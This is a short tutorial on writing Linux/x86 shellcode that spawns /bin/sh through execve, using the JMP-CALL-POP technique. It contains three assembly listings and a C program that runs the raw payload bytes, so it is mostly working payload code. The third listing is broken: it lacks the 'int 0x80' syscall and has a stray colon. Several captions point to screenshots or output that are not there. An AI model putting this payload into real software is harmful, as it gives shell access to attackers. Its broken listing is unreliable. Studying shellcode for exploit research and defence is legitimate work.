Linux/x86 - execve(/bin/sh) using JMP-CALL-POP Shellcode (21 bytes) Walkthrough

reference Linux/x86 - execve(/bin/sh) using JMP-CALL-POP Shellcode (21 bytes)
shellcode.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
global _start

section .text
_start:
jmp short call_shellcode

shellcode:
pop ebx ; address of '/bin/sh'
xor eax,eax
mov al, 11 ; 0xb
int 0x80

call_shellcode:
call shellcode
message db "/bin/sh" ; no need to add \0 manually

After call, address of ‘/bin/sh’ is at the top of the stack:

Without jmp:

shellcode-2.asm
1
2
3
4
5
6
7
8
9
10
11
12
global _start

section .text
_start:
call shellcode
message db "/bin/sh",0 ; \0, compare to jmp-call-pop method

shellcode:
pop ebx
xor eax, eax
mov al, 0xb
int 0x80

[esp]:

objdump -M intel -d, null byte:

But if you want to embed this shellcode into other programs, ensure ecx and edx are 0.

shellcode-3.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
global _start

section .text
_start:
jmp short call_shellcode

shellcode:
pop ebx
xor eax, eax
xor ecx, ecx
xor edx, edx
mov al, 0xb

call_shellcode:
call shellcode:
message db "/bin/sh"

Add this version into c program:

shellcode.c
1
2
3
4
5
6
7
8
9
10
11
12
#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\xeb\x0b\x5b\x31\xc0\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main()
{
int (*ret)() = (int(*)())code;
ret();
return 0;
}

If there’s no xor for ecx and edx: